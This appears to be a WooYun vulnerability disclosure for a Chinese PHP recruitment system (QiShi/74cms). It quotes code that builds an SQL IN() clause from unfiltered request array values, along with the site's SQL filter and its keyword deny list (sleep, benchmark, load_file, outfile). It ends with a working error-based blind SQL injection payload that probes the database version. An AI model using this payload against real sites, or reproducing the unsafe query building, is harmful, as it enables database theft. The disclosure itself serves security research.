WooYun.org

<?php
	define('IN_QISHI', true);
	require_once(dirname(__FILE__).'/company_common.php');
	$smarty->assign('leftmenu',"recruitment");
	//获取y_id并赋值给$id
	$id =!empty($_REQUEST['y_id'])?$_REQUEST['y_id']:showmsg("你没有选择简历！",1);
	if (is_array($id))
	{
		// 已下载的简历 批量导出为word  先查询简历id  
		$sqlin=implode(",",$id);
		//以逗号分割内容，并未加单引号做限制，也未进行任何过滤。
		$idarr = $db->getall("select resume_id from ".table('company_down_resume')." where did IN ({$sqlin})");
		foreach ($idarr as $key=>$value) {
			$idarr[$key]=$value['resume_id'];
		}
		$id=$idarr;
	}
	else
	{
		$id=array($id);
	}
	$sqlin=implode(",",$id);
	//在这里做了一次过滤，但是已经错过了时机。
	if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false;
	$rsume_sql = "select * from ".table('resume')." where id IN ({$sqlin}) ";
	$result=$db->getall($rsume_sql);

static function CheckSql($db_string,$querytype='select')
    {
        global $QS_pwdhash;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
        $userIP = getip();
        $getUrl =request_url();
        $time = date('Y-m-d H:i:s');
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
                exit("您输入的内容不符合要求请正确输入！");
            }
        }
        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
            exit("您输入的内容不符合要求请正确输入！");
        }
        else
        {
            return $db_string;
        }
    }

if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false;

Error：Query error:错误的sql语句

select resume_id from qs_company_down_resume where did IN (1,2) or IF( ord(mid(version(),1,1)) = 50 ,1，1E308*2) and (1,2) = (1,2);